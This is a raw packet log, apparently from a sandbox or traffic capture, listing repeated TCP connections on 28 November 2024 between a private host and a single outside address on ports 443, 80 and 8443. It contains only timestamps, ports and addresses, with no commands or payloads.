Nov 28, 2024 13:23:12.486298084 CET	49744	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:12.486407995 CET	443	49744	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:12.486718893 CET	49744	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:12.486840010 CET	49744	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:12.486882925 CET	443	49744	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:13.059046030 CET	443	49744	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:13.059250116 CET	49744	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:13.059535027 CET	49744	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:13.059596062 CET	443	49744	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:13.060302973 CET	49744	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:13.060328960 CET	443	49744	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:13.612745047 CET	443	49744	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:13.612804890 CET	443	49744	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:13.612965107 CET	49744	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:13.613080978 CET	49744	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:13.613125086 CET	49744	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:13.613125086 CET	49744	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:13.613138914 CET	443	49744	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:13.613291025 CET	49744	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:13.707556963 CET	49738	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:14.021105051 CET	80	49738	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:14.021310091 CET	49738	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:14.374754906 CET	49745	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:14.660504103 CET	8443	49745	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:15.164839983 CET	49745	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:15.450401068 CET	8443	49745	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:15.961479902 CET	49745	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:16.246851921 CET	8443	49745	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:16.758224010 CET	49745	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:17.043713093 CET	8443	49745	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:17.555064917 CET	49745	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:17.841007948 CET	8443	49745	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:17.850500107 CET	49746	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:17.850589991 CET	443	49746	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:17.850825071 CET	49746	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:17.850996971 CET	49746	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:17.851037979 CET	443	49746	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:18.413937092 CET	443	49746	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:18.414151907 CET	49746	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:18.414515972 CET	49746	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:18.414541960 CET	443	49746	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:18.415327072 CET	49746	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:18.415354013 CET	443	49746	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:18.968542099 CET	443	49746	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:18.968728065 CET	443	49746	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:18.968748093 CET	49746	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:18.968841076 CET	49746	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:18.968884945 CET	443	49746	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:18.968974113 CET	49746	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:18.969048023 CET	49746	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:19.045658112 CET	49738	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:19.359347105 CET	80	49738	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:19.359673023 CET	49738	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:19.712719917 CET	49747	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:19.990869999 CET	8443	49747	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:20.491928101 CET	49747	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:20.771055937 CET	8443	49747	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:21.272972107 CET	49747	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:21.550719976 CET	8443	49747	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:22.054147959 CET	49747	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:22.331732035 CET	8443	49747	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:22.834965944 CET	49747	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:23.112581968 CET	8443	49747	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:23.119596958 CET	49748	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:23.119648933 CET	443	49748	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:23.119965076 CET	49748	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:23.120026112 CET	49748	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:23.120043993 CET	443	49748	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:23.697006941 CET	443	49748	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:23.697272062 CET	49748	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:23.697487116 CET	49748	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:23.697496891 CET	443	49748	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:23.699229956 CET	49748	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:23.699258089 CET	443	49748	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:24.272013903 CET	443	49748	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:24.272099018 CET	443	49748	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:24.272274971 CET	49748	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:24.272274971 CET	49748	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:24.272497892 CET	49748	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:24.272497892 CET	49748	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:24.272520065 CET	443	49748	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:24.272748947 CET	49748	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:24.397579908 CET	49738	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:24.397737980 CET	49749	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:24.683222055 CET	80	49749	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:24.683608055 CET	49749	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:24.683636904 CET	49749	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:24.710736990 CET	80	49738	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:24.711036921 CET	49738	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:24.983520031 CET	80	49749	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:24.983577013 CET	80	49749	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:24.983880997 CET	49749	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:25.385437012 CET	49750	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:25.708359003 CET	8443	49750	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:26.209362030 CET	49750	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:26.514486074 CET	8443	49750	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:27.021542072 CET	49750	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:27.326921940 CET	8443	49750	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:27.833863974 CET	49750	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:28.139339924 CET	8443	49750	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:28.646439075 CET	49750	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:28.952728987 CET	8443	49750	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:28.993309975 CET	49751	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:28.993344069 CET	443	49751	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:28.993596077 CET	49751	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:28.993767023 CET	49751	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:28.993783951 CET	443	49751	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:29.556219101 CET	443	49751	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:29.556452990 CET	49751	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:29.556808949 CET	49751	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:29.556854010 CET	443	49751	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:29.557620049 CET	49751	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:29.557663918 CET	443	49751	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:30.110586882 CET	443	49751	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:30.110769033 CET	443	49751	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:30.110821009 CET	49751	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:30.110964060 CET	49751	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:30.110965014 CET	49751	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:30.110965014 CET	49751	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:30.217438936 CET	49749	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:30.217633009 CET	49752	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:30.495512962 CET	80	49752	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:30.495929003 CET	49752	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:30.496025085 CET	49752	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:30.507239103 CET	80	49749	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:30.507653952 CET	49749	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:30.773658991 CET	80	49752	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:30.773720980 CET	80	49752	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:30.774049997 CET	49752	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:31.112993956 CET	49753	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:31.426131964 CET	8443	49753	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:31.926902056 CET	49753	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:32.240288019 CET	8443	49753	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:32.754637957 CET	49753	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:33.067919016 CET	8443	49753	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:33.582717896 CET	49753	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:33.896131992 CET	8443	49753	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:34.410820007 CET	49753	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:34.728648901 CET	8443	49753	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:34.741051912 CET	49754	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:34.741075993 CET	443	49754	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:34.741365910 CET	49754	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:34.741503000 CET	49754	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:34.741514921 CET	443	49754	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:35.365451097 CET	443	49754	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:35.365797043 CET	49754	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:35.366288900 CET	49754	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:35.366358042 CET	443	49754	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:35.367611885 CET	49754	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:35.367681026 CET	443	49754	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:35.975261927 CET	443	49754	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:35.975421906 CET	49754	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:35.975454092 CET	443	49754	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:35.975578070 CET	49754	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:35.975625038 CET	443	49754	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:35.975651026 CET	49754	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:35.975780010 CET	49754	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:36.072561026 CET	49752	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:36.350378990 CET	80	49752	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:36.350699902 CET	49752	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:36.742855072 CET	49755	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:37.028484106 CET	8443	49755	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:37.535110950 CET	49755	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:37.820738077 CET	8443	49755	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:38.331545115 CET	49755	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:38.617043018 CET	8443	49755	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:39.128202915 CET	49755	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:39.414644003 CET	8443	49755	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:39.924961090 CET	49755	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:40.219718933 CET	8443	49755	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:40.300759077 CET	49756	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:40.300843000 CET	443	49756	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:40.301018000 CET	49756	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:40.301202059 CET	49756	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:40.301253080 CET	443	49756	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:40.954051018 CET	443	49756	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:40.954402924 CET	49756	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:40.954721928 CET	49756	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:40.954765081 CET	443	49756	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:40.955435991 CET	49756	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:40.955483913 CET	443	49756	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:41.575298071 CET	443	49756	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:41.575467110 CET	443	49756	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:41.575511932 CET	49756	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:41.575608969 CET	49756	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:41.575655937 CET	49756	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:41.575655937 CET	49756	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:41.575710058 CET	443	49756	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:41.575983047 CET	49756	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:41.697639942 CET	49752	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:41.697818041 CET	49757	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:41.974807024 CET	80	49752	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:41.974939108 CET	49752	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:42.010715961 CET	80	49757	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:42.010941029 CET	49757	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:42.011075020 CET	49757	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:42.324409008 CET	80	49757	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:42.324445009 CET	80	49757	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:42.324729919 CET	49757	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:42.770809889 CET	49758	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:43.084430933 CET	8443	49758	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:43.596180916 CET	49758	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:43.909491062 CET	8443	49758	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:44.424010038 CET	49758	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:44.737107038 CET	8443	49758	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:45.252202988 CET	49758	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:45.565737009 CET	8443	49758	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:46.080256939 CET	49758	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:46.399029016 CET	8443	49758	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:46.583631992 CET	49759	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:46.583705902 CET	443	49759	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:46.583916903 CET	49759	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:46.584075928 CET	49759	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:46.584105968 CET	443	49759	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:47.149800062 CET	443	49759	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:47.150003910 CET	49759	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:47.150418997 CET	49759	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:47.150492907 CET	443	49759	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:47.151966095 CET	49759	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:47.152012110 CET	443	49759	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:47.703459978 CET	443	49759	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:47.703555107 CET	443	49759	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:47.703686953 CET	49759	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:47.703763962 CET	49759	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:47.703844070 CET	49759	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:47.703844070 CET	49759	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:47.703903913 CET	443	49759	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:47.704112053 CET	49759	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:47.981467962 CET	49757	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:47.981569052 CET	49760	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:48.286926031 CET	80	49760	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:48.287300110 CET	49760	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:48.287476063 CET	49760	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:48.296706915 CET	80	49757	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:48.296916008 CET	49757	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:48.592405081 CET	80	49760	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:48.592458963 CET	80	49760	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:48.592617035 CET	49760	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:49.121161938 CET	49761	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:49.398797989 CET	8443	49761	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:49.907121897 CET	49761	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:50.184654951 CET	8443	49761	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:50.688400030 CET	49761	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:50.965703964 CET	8443	49761	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:51.469644070 CET	49761	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:51.747153997 CET	8443	49761	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:52.250385046 CET	49761	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:52.527751923 CET	8443	49761	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:52.615632057 CET	49762	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:52.615701914 CET	443	49762	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:52.615900040 CET	49762	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:52.616089106 CET	49762	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:52.616142988 CET	443	49762	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:53.196707964 CET	443	49762	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:53.196928024 CET	49762	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:53.197267056 CET	49762	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:53.197295904 CET	443	49762	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:53.197999954 CET	49762	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:53.198036909 CET	443	49762	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:53.766258001 CET	443	49762	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:53.766333103 CET	443	49762	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:53.766431093 CET	49762	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:53.766535044 CET	49762	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:53.766568899 CET	49762	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:53.766568899 CET	49762	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:53.766587973 CET	443	49762	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:53.766918898 CET	49762	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:53.896792889 CET	49760	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:53.897068024 CET	49763	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:54.201715946 CET	80	49760	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:54.201766014 CET	80	49763	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:54.201976061 CET	49760	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:54.202009916 CET	49763	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:54.202133894 CET	49763	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:54.507709980 CET	80	49763	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:54.507769108 CET	80	49763	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:54.508049011 CET	49763	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:54.978661060 CET	49764	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:55.295279026 CET	8443	49764	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:55.796794891 CET	49764	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:56.101736069 CET	8443	49764	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:56.608988047 CET	49764	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:56.914284945 CET	8443	49764	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:57.421387911 CET	49764	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:57.726967096 CET	8443	49764	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:58.233786106 CET	49764	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:58.538846016 CET	8443	49764	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:58.630079985 CET	49765	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:58.630182981 CET	443	49765	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:58.630333900 CET	49765	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:58.630603075 CET	49765	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:58.630666971 CET	443	49765	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:59.195406914 CET	443	49765	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:59.195672989 CET	49765	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:59.196173906 CET	49765	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:59.196219921 CET	443	49765	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:59.197145939 CET	49765	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:59.197161913 CET	443	49765	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:59.749829054 CET	443	49765	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:59.749973059 CET	49765	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:59.749980927 CET	443	49765	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:59.750135899 CET	49765	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:59.750153065 CET	443	49765	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:59.750251055 CET	49765	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:59.750281096 CET	49765	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:59.949929953 CET	49763	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:24:00.255489111 CET	80	49763	160.16.200.77	192.168.11.20
Nov 28, 2024 13:24:00.255809069 CET	49763	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:24:00.677453995 CET	49766	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:24:00.954972029 CET	8443	49766	160.16.200.77	192.168.11.20
Nov 28, 2024 13:24:01.467276096 CET	49766	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:24:01.750808001 CET	8443	49766	160.16.200.77	192.168.11.20
Nov 28, 2024 13:24:02.263962984 CET	49766	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:24:02.542845964 CET	8443	49766	160.16.200.77	192.168.11.20
Nov 28, 2024 13:24:03.044903040 CET	49766	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:24:03.322825909 CET	8443	49766	160.16.200.77	192.168.11.20
Nov 28, 2024 13:24:03.826088905 CET	49766	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:24:04.103594065 CET	8443	49766	160.16.200.77	192.168.11.20
Nov 28, 2024 13:24:04.157176971 CET	49767	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:24:04.157243967 CET	443	49767	160.16.200.77	192.168.11.20
Nov 28, 2024 13:24:04.157455921 CET	49767	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:24:04.157625914 CET	49767	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:24:04.157670975 CET	443	49767	160.16.200.77	192.168.11.20
Nov 28, 2024 13:24:04.737173080 CET	443	49767	160.16.200.77	192.168.11.20
Nov 28, 2024 13:24:04.737447023 CET	49767	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:24:04.737787008 CET	49767	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:24:04.737827063 CET	443	49767	160.16.200.77	192.168.11.20
Nov 28, 2024 13:24:04.738466978 CET	49767	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:24:04.738504887 CET	443	49767	160.16.200.77	192.168.11.20
Nov 28, 2024 13:24:05.307293892 CET	443	49767	160.16.200.77	192.168.11.20
Nov 28, 2024 13:24:05.307373047 CET	443	49767	160.16.200.77	192.168.11.20
Nov 28, 2024 13:24:05.307444096 CET	49767	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:24:05.307612896 CET	49767	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:24:05.307713032 CET	49767	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:24:05.307713032 CET	49767	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:24:05.307735920 CET	443	49767	160.16.200.77	192.168.11.20
Nov 28, 2024 13:24:05.308022976 CET	49767	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:24:05.366281033 CET	49763	80	192.168.11.20	160.16.200.77
